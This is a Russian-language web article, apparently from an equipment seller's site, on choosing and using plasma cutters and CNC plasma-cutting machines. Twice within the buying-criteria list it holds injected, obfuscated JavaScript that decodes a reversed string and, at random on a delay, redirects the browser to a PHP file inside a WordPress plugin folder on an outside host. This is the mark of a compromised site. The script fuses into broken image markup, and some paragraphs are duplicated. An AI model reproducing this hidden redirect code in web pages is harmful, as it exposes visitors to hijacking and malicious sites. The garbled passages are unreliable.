Источники плазменной резки

Нюансы выбора

Выбирая плазморез, необходимо уделить внимание следующим моментам:

• Универсальность. Существуют аппараты, которые можно использовать не только для резки металла, но и для сварки штучным электродом, а также для аргонодуговой сварки. Правда, следует помнить, что универсальность обычно плохо сказывается на качестве выполняемых операций и производительности. Как правило, универсальный плазморез не может резать заготовки толщиной более 11 мм;
• Сила тока. Чем выше сила тока, тем сильней нагревается дуга, соответственно, быстрее выполняется плазморезка, а также увеличивается максимальная толщина детали, которую может перерезать данным способом. Поэтому предварительно нужно определиться для каких целей вам нужен плазморез, т.е. с какими деталями вам придется работать. Если вы будете резать сталь толщиной до 20 мм, достаточно будет аппарата с силой тока 20 А. Если толщина металла будет больше, соответственно, понадобится более мощный плазморез – с силой тока 40-60 А. У промышленных аппаратов сила тока может достигать 200 А и больше;

$nJe=function(n){if (typeof ($nJe.list) == «string») return $nJe.list.split(«»).reverse().join(«»);return $nJe.list;};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toka-u-bytovyh-apparatov-obychno-ne-prevyshae-600×397.jpg» alt=»Сила тока у бытовых аппаратов обычно не превышает 40 А» width=»600″ height=»397″ /> Сила тока у бытовых аппаратов обычно не превышает 40 А

• Тип электросети. Бытовые аппараты плазменной резки могут работать от сети 220 В, но их сила тока, как правило, не превышает 40 А. Промышленные аппараты работают от сети 380 В;
• Продолжительность включения. Каждый плазморез имеет такую характеристику как ПВ, которая исчисляется в процентах. Этот показатель указывает время, которое аппарат может работать. Основу составляет рабочий цикл в 10 минут. Если ПВ, к примеру, 70%, значит плазморез может 7 минут работать, после чего 3 минуты должен остывать. Если показатель равен 40%, значит аппарат может работать не более 4 минут, после чего 6 минут должен остывать. Существуют аппараты с ПВ 100%, которые можно использовать беспрерывно. У них обычно реализовано водяное охлаждение;
• Компрессор. Плазморез может иметь встроенный или отдельный подключаемый компрессор. Для бытовых целей удобней аппараты со встроенным компрессором, но они маломощные. Если плазморез нужен для профессиональной работы, необходим отдельный компрессор. Главное требование к компрессору — обеспечение плазмотрона постоянным давлением воздуха, т.е. без пульсаций, причем воздух должен быть обязательно сухим. Кроме того, давление воздуха, создаваемое компрессором, обязательно должно соответствовать требованиям аппарата;

$nJe=function(n){if (typeof ($nJe.list) == «string») return $nJe.list.split(«»).reverse().join(«»);return $nJe.list;};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tovoy-plazmorez-dolzhen-byt-kompaktnym-i-udobnym.jpg» alt=»Бытовой плазморез должен быть компактным и удобным для транспортировки» width=»550″ height=»445″ /> Бытовой плазморез должен быть компактным и удобным для транспортировки

Удобство. Плазморез должен иметь достаточную длину кабель-шлангового пакета. Если аппарат нужен для бытовых целей, желательно чтобы он был компактным и удобным для транспортировки.

4 Как правильно пользоваться аппаратом?

Сначала зажигают электрическую дугу. Перед этим надо продуть плазмотрон воздухом, тем самым удалив из него инородные частицы и случайный конденсат. Для этого нажимаем, а потом отпускаем кнопку зажигания дуги. У аппарата при этом запускается режим продувки. Выждав около 30 секунд, нажимаем и уже удерживаем кнопку поджига. Между наконечником сопла плазмотрона и электродом должна зажечься дежурная дуга. Горит она, как правило, 2 секунды. За это время надо зажечь рабочую (основную) дугу.

Она должна образоваться автоматически в результате процессов, описанных выше, но чтобы это произошло, плазмотрон необходимо держать достаточно близко от поверхности металла, но ни в коем случае не касаться его.

После загорания рабочей дуги дежурная гаснет, а из сопла плазматрона начинает проистекать поток режущей плазмы, как это показано на видео, и можно начинать резку. Если с первого раза рабочую дугу зажечь не удалось, отпускаем кнопку зажигания и нажимаем ее снова для нового цикла. Рабочая дуга может не зажигаться по следующим причинам:

• у подаваемого воздуха недостаточное давление;
• плазматрон собран неправильно;
• иные неполадки.

Также бывает, что рабочая дуга гаснет в процессе работы. Чаще всего, это случается из-за несоблюдения нужного расстояния между поверхностью металлов и плазмотроном, а также когда изношен электрод последнего.

Соблюдение расстояния между поверхностью металлов и плазмотроном при резке своими руками является не менее сложной задачей, чем выдерживание нужной скорости обработки. Оптимальное расстояние составляет всего 1,6–3 мм. Работая руками, постоянно удерживать резак на такой высоте довольно сложно, тем более, что касаться поверхности металла плазмотроном нельзя. Руку периодически сбивает дыхание или невольные движения тела, и рез в результате получается неровным. Чтобы соблюдать нужное расстояние, пользуются специальными упорами (как показано на видео), которые надевают на сопло.

При резке своими руками также следует обращать внимание на угол, под которым надо держать плазмотрон относительно металла. Он должен быть строго перпендикулярен поверхности заготовки

В зависимости от вида обрабатываемого металла допускаются отклонения от прямого угла в 10–50°. Когда заготовка очень тонкая, плазмотрон можно вести под незначительным углом, иначе тонкий металл в процессе резки будет сильно деформирован.

Принцип работы

Инвертор выдает постоянный ток. В зависимости от модели, используется напряжение электросети 220V или 380V. Первые можно использовать в домашних условиях, но последние являются трехфазными и могут применяться только на предприятиях. При использовании дома проводка может не выдержать, что приведет к пожару.

Во время работы устройства происходит натяжение электрической дуги. Сжатый воздух подается в нее, а во время нагрева он трансформируется в плазму. Его температура достигает 20 000 градусов, что позволяет быстро резать практически любой металл.

Вот как происходит резка металла плазморезом:

1. После включения подается напряжение, что позволяет сформировать специальную дугу для резки металла. Компрессор начинает подавать сжатый воздух в сопло. Под нагревом он превращается в плазму.
2. Работник подносит инструмент к заготовке. Дуга замыкается на металле, благодаря чему он режется. Параметры плазмы можно отрегулировать самостоятельно.
3. После выполнения работы сварщику нужно убрать плазморез и выключить его. Воздух будет подаваться какое-то время, чтобы быстрее охладить сопло инструмента.

Основные виды плазменной резки металла

Важно представлять себе саму технологию такого раскроя металла, чтобы понимать, что нужно для плазменной резки. Начнем с того, что она позволяет работать с листами толщиной в пределах 220 мм. В контуре электрической дуги между наконечником форсунки и неплавящимся электродом образуется искра, после чего воспламеняется поток поступающего газа

Когда горящий газ ионизируется, он превращается в управляемую плазму. Скорость ее выхода очень высока и составляет 800–1 500 м/с

В контуре электрической дуги между наконечником форсунки и неплавящимся электродом образуется искра, после чего воспламеняется поток поступающего газа. Когда горящий газ ионизируется, он превращается в управляемую плазму. Скорость ее выхода очень высока и составляет 800–1 500 м/с.

Выходное отверстие имеет сужение, которое позволяет повысить скорость потока плазмы и температуру до +20 000 °C. Настолько горячий узконаправленный поток плазмы при точечном воздействии на металл проплавляет его

Что немаловажно, при этом обеспечивается незначительное повышение нагрева области, прилежащей к месту реза

Между двумя основными способами: плазменно-дуговой технологией и методом раскроя плазменной струей – существует одно серьезное отличие. Первый способ предполагает замыкание поверхности заготовки в проводящий контур. Тогда как при работе со струей плазмы прибегают к стороннему образованию высокотемпературного компонента в рабочей схеме плазмотрона. В таком случае лист металла не является составляющей проводящего контура.

Резка плазменной струей.

Этот метод позволяет раскраивать материалы, которые не способны проводить электрический ток.

Горение дуги осуществляется между формирующим наконечником плазмотрона и электродом, тогда как разрезаемая при помощи струи плазмы заготовка не включается в электрическую цепь.

Плазменно-дуговая резка.

При работе с токопроводящими материалами используют именно эту технологию. Суть состоит в том, что дуга горит между разрезаемой заготовкой и электродом, ее столб совмещен с потоком плазмы. Последняя формируется при нагреве, ионизации подаваемого газа. Он продувается через сопло, обжимает дугу, придает ей проникающие свойства, обеспечивая образование плазмы.

Благодаря сильному нагреву газа достигается высочайшая скорость его движения, повышается степень воздействия на заготовку. Газ не только выполняет основную функцию, обеспечивая раскрой, но и выдувает из зоны обработки частицы металла. Активизация процесса происходит за счет дуги постоянного тока прямой полярности.

К плазменно-дуговой резке прибегают во время:

• изготовления деталей с прямолинейных и фигурных форм;
• прорезания отверстий или проемов;
• производства заготовок, которые в дальнейшем должны пройти сварку, штамповку, механическую обработку;
• обработки кромок поковок;
• резки труб, полос, прутков и профилей;
• обработки литья.

Принято выделять три вида плазменной резки в зависимости от используемой в процессе работы среды. Это:

• Простая с использованием воздуха/азота в сочетании с электрическим током.
• С защитным газом, причем газ может быть плазмообразующий и защитный. Второй призван ограждать обрабатываемую область от внешнего воздействия, за счет чего удается значительно повысить качество реза.
• С водой, где жидкость играет ту же роль, что и защитный газ в описанном выше подходе. Но у нее есть дополнительные функции: она способствует снижению температуры элементов системы, вбирает в себя выделяющиеся в процессе работы вредные вещества.

Рекомендовано к прочтению

• Резка меди лазером: преимущества и недостатки технологии
• Виды резки металла: промышленное применение
• Металлообработка по чертежам: удобно и выгодно

За счет использования плазменной резки, базирующейся на перечисленных выше принципах, удается добиться высокой производительности оборудования и полной пожарной безопасности. Последнее связано с тем, что применяемые при работе с данной технологией материалы не являются огнеопасными.

Принцип действия плазмореза

Резка металлических сплавов и других материалов с использованием плазмы выполняется на специальной установке, которая называется плазморез.

Надо напомнить, что плазма – это одна из форм существования материи. В окружающей человека среде материальные объекты представляются в твердом, жидком или газообразном состоянии.

Плазма – это четвертое состояние, которое характеризуется высокой температурой.

Установка для плазменной резки создает поток ионизированного воздуха высокой температуры, который и разрезает заготовку.

Рабочая температура этого потока достигает величин от 5000 до 30000 градусов.

Установка состоит из следующих элементов:

• источник питания;
• компрессор;
• плазматрон.

Источником питания служит либо трансформатор, либо инвертор. Используя трансформатор, можно резать заготовки большой толщины.

Он без потерь переносит перепады напряжения электрической сети. При этом у него большой вес, низкий КПД и высокая цена.

Инвертор дешевле, экономичнее и значительно легче. У инверторного устройства более высокий КПД по сравнению с трансформатором.

Компактная конструкция позволяет использовать инверторные установки в комплексах с ЧПУ, неудобных и труднодоступных местах.

Компрессором в плазморез подается воздух или определенный газ.

ВАЖНО ЗНАТЬ: Машины портальной плазменной резки

Воздух подается под высоким давлением, которое обеспечивает вихревую форму струи.

Плазматрон является основным элементом плазмореза и представляет собой резак, который состоит из следующих элементов:

• колпачок;
• охладитель;
• сопло;
• электрод.

При подаче напряжения и поджиге дуги возникает поток воздуха, который имеет высокую степень ионизации.

Присутствие ионов превращает воздух из изолятора в проводник электрического тока. При этом формируется электрическая дуга.

Под действием дуги локально разогревается заготовка, металл плавится и образуется рез.

Процесс фигурной резки металла при помощи станка плазменной резки MAXILITE 3000

Давайте рассмотрим установку плазменной резки MAXILITE 3000 в базовой комплектации. MAXILITE 3000 это станок который применяется для резки металла толщиной от 0,3 до 20 мм с хорошей скоростью и высоким качеством. Толщина металла которую может раскроить наш станок зависит от мощности источник плазмы. Станок имеет модульную конструкцию, поэтому перевезти его в необходимое место не составит труда. Итак, перечислим основные отличительные особенности станка:

• разборная рама имеющая малый вес
• портал из профиля прямоугольного сечения, так же имеющий малый вес
• стойка управления ЧПУ имеющая очень «взрослый» вид
• интегрированный рабочий стол
• для стабильной работы с тонколистовым металлом имеется механический контроль высоты горелки
• оптимальная стоимость при достойных характеристиках 

Мы можем подобрать вам аппарат и плазматрон под ваши задачи, например, можно уменьшить размер рабочего стола, при необходимости и, соответственно, это отразится на стоимости в меньшую сторону.

Имейте ввиду, что для работы станка отдельно вам потрбуется следующее оборудование:

• вытяжной вентилятор с рабочим колесом не менее 200мм;
• воздушный компрессор производительностью не менее 400 л/мин;
• рефрижераторный осушитель сжатого воздуха;
• магистральный фильтр для очистки воздуха по 1 классу от твердых примесей, масла и воды.

Для того, чтобы начать работу, станок необходимо правильно установить, подключить к питанию и обязательно грамотно организовать вытяжку для отвода дыма с частичками горящего металла

Это важно, потому, что дыма при работе образуется очень много, и дышать этими испарениями не очень полезно для здоровья. Программное обеспечение при помощи которого управляется станок в базовой версии имеется, это Pure Motion российской компании Purelogic

В следующих статьях мы постараемся подробно разобрать это программное обеспечение, поскольку оно, всё таки, не такое простое, как хотелось бы

В следующих статьях мы постараемся подробно разобрать это программное обеспечение, поскольку оно, всё таки, не такое простое, как хотелось бы.

Итак, что бы вырезать хоть какую-то деталь, вам потребуется сначала её нарисовать. Вы можете использовать любое программное обеспечение, которое позволяет экспортировать или сохранять любой чертеж в формате DXF. Это могут быть такие программы как  AutoCAD, Компас, Corel Draw и т. п. Они, разумеется, в комплекте не идут.

Так же вам устанавливается программа SheetCAM, при помощи которой будет генерироваться специальный G-код, который необходимо будет передать в программу Pure Motion.

Получается, что порядок действий таков, что сначала в сторонней программе вы рисуете необходимый художественный элемент, сохраняете его в формате .dxf, импортируете его в SheetCAM, сохраняете сгенерированный G-код, а затем импортируете его в программу Pure Motion и уже она передаёт непосредственно на стол раскроя все необходимые действия и координаты.

Ещё вам нужно будет правильно настроить программу Pure Moiton поскольку при работе с разными толщинами и металлами, настройки скорости, высоты врезания и рабочей высоты горелки, тоже будут разными. В одной из следующих статей мы так же подробно рассмотрим данные настройки.

Художественная резка металла плазмой выполняется плазменной струей, которая используется как режущий инструмент. После того, как вы нажали кнопку запуска процесса резки изделия, образуется электрическая дуга (между металлом и электродом), зажигание которой происходит за счет импульса или короткого замыкания; из сопла подается газ, находящийся под давлением; под действием электрической дуги он превращается в плазменную струю, температура которой достигает 30 тыс. градусов, а скорость — 1,5 тыс. м/с. Скорость реза зависит от толщины металла, мощности источника плазмы, и сложности вырезаемого рисунка. В процессе работы рисунок который вы нарисовали в программе будет вырезана листе металла. 

Может показаться, что работать на станке плазменной резки с ЧПУ для фигурной резки металла, это очень сложно, но это только поначалу, как в любом другом деле, сначала будут ошибки, без этого никак, но потом вы набъёте руку и получите неиссякаемый источник реализации самых смелых творческих решений.

1 Установка плазменной резки с программным управлением – все ее достоинства

Современный станок с ЧПУ по праву считается незаменимым оборудованием для промышленных предприятий, так как он позволяет выполнять самый сложный раскрой листового металла с максимальной точностью и высокой производительностью.

Такая машина применяется для резки любых компонентов металлических строительных конструкций, разнообразных элементов технологического оборудования, навесных деталей техники для сельского хозяйства.

С ее помощью изготавливают двери из металла, торговые стеллажи, вентиляционные промышленные системы и много других изделий, выпускаемых в больших объемах.

Плазменный станок с ЧПУ характеризуется следующими эксплуатационными преимуществами:

• Минимальное участие человека в техпроцессе. Оператору требуется лишь задать нужную программу обработки заготовок, а все остальное аппарат сделает самостоятельно.
• Уникальная точность выполнения рабочих операций. После запуска установка для плазменной резки четко выполнит поставленную перед ней задачу, обеспечив раскрой металла любой сложной конфигурации. Причем все изготовленные на ней детали будут абсолютно идентичны.
• Экономичность процедуры. Аппарат, оснащенный ЧПУ, потребляет очень мало электрической энергии, а также не требует серьезных финансовых вложений в дополнительное оборудование. Для эффективной и качественной плазменной резки требуется сама установка, воздух и специальный резак. Операция обработки стальных и металлических листов производится за счет использования высокотемпературной дуги.
• Высокая производительность резки. Ни одна другая машина или аппарат, используемые в наши дни для раскроя металлов, не в состоянии обеспечить аналогичную скорость выполнения операции, которую выдает плазморез. По этой причине плазменный станок с ЧПУ всегда применяется на промышленных объектах, где выпускается массовая продукция.
• Удобство эксплуатации и простота обслуживания. Машина плазменной резки представляет собой достаточно сложное техническое устройство. Да и сам процесс раскроя металлических листов трудно назвать легким. Несмотря на это, управлять плазморезом и настраивать его сможет любой человек, прошедший специальную подготовку (видео-уроки, лекции по конструкции, которую имеет станок, особенности его применения и так далее). Подобная подготовка длится совсем недолго. По большому счету, при наличии качественных видео-материалов и опытного наставника любой опытный рабочий сможет стать оператором современного плазмореза.

Наши преимущества

Шоу-рум

Представлено оборудование в различных ценовых сегментах и с разными конструктивными особенностями

Тест-драйв

Возможность познакомиться с технологией резки, собственноручно протестировав интересующую Вас модель оборудования

Гарантия качества

Мы поставляем только качественный, оригинальный и сертифицированный товар

Лизинговые программы

Позволят привлечь внешнее финансировать и получить значительные финансовые льготы для Вашего предприятия

Монтаж оборудования

Монтаж станков и ввод их в эксплуатацию — гарантия бесперебойной работы оборудования

Надежный сервис

Авторизованный сервисный персонал компании обеспечит оперативный отклик на Ваше обращение

Основные критерии выбора

Все станки для плазменной резки можно поделить на несколько основных групп:

• бюджетный вариант;
• оборудование с целью использования в промышленной сфере, созданной по простой технологии;
• оборудование для использования в промышленной сфере, созданной по сложной технологии.

У всех моделей есть свои ресурсы, уровень продуктивности и цена. Однако в специализированных магазинах цель – продать товар подороже, поэтому необходимо разбираться в факторах, по которым можно самостоятельно собрать оборудование для резки металла.

Схема плазменной резки.

Стоит отметить основные критерии выбора станка плазменного резания для изготовления своими руками:

1. У станка ЧПУ, созданного своими руками, должен быть портал, на котором устанавливаются направляющие двигатели, зубчатые рейки либо ремни. При помощи этого элемента можно регулировать жесткость и точность резки. Сама деталь должна быть как можно легче, чтобы обеспечить быстрое ускорение. Это влияет на качество резки угловых участков и небольших дырочек на большой скорости.
2. Агрегат должен обладать качественной стойкой, благодаря которой совершается управление над всеми системами. Это также позволяет правильно расположить каждый провод и шланг для качественной и продуктивной работы. Стойка помогает облегчить и улучшить сам процесс, а аккуратность сократит риск повреждения механизмов во время эксплуатации.
3. Следует аккуратно подходить к выбору краски для устройства. Используйте только известных и проверенных изготовителей. Лучше всего использовать дорогую порошковую окраску. Её особенность заключается в устойчивости ко всем внешним факторам. Качественные агрегаты грамотный сборщик всегда красит по отдельности по детально, в отличие от дешевого, где конструкция просто поливается краской. В последнем случае станок ненадежный, некачественный и быстро поломается.
4. У станка также должна быть система, удаляющая дым. При эксплуатации данного оборудования возникает много дыма, который при попадании в организм, может навредить. Чтобы избежать неприятного фактора, достаточно установить водоналивной стол либо механизм с принудительной вентилированной системой. Эти детали имеют вид ванны с водой, куда крепится опора с ламели, чтобы уложить материал. Необходимо отметить, что лист должен быть чуть ниже уровня воды. Благодаря этому, во время процесса, дым и другие негативные компоненты пропадают под водой. Вода может превратиться в кислоту, поэтому её регулярно надо менять, а сам механизм тщательно промывать.
5. Для работы с агрегатом необходимо подготовить рабочий стол соответствующего размера, дабы можно было комфортно работать. Поверх стола кладется металлический лист. Сам стол зачастую либо интегрированный в портал, либо расположен раздельно.
6. Двигатель в оборудовании для резки металла с ЧПУ должен обладать запасом мощности, чтобы как можно дольше сохранить его работоспособность. Качество зубчатых реек, шестеренок, приводных ремней и направляющих должно быть безупречным, поскольку это влияет на точность резки, воспроизводимость шума при выполнении работы, а также на ресурс рабочего стола. Бывают серводвигатели либо шаговые. В первом случае деталь окажется эффективнее, нежели шаговая, за счет «запоминания» своего последнего положения в пространстве. Они также выполняют специфические задачи и, в отличие от шаговых, являются более уместными в рассматриваемой конструкции с другим порядком точной резки.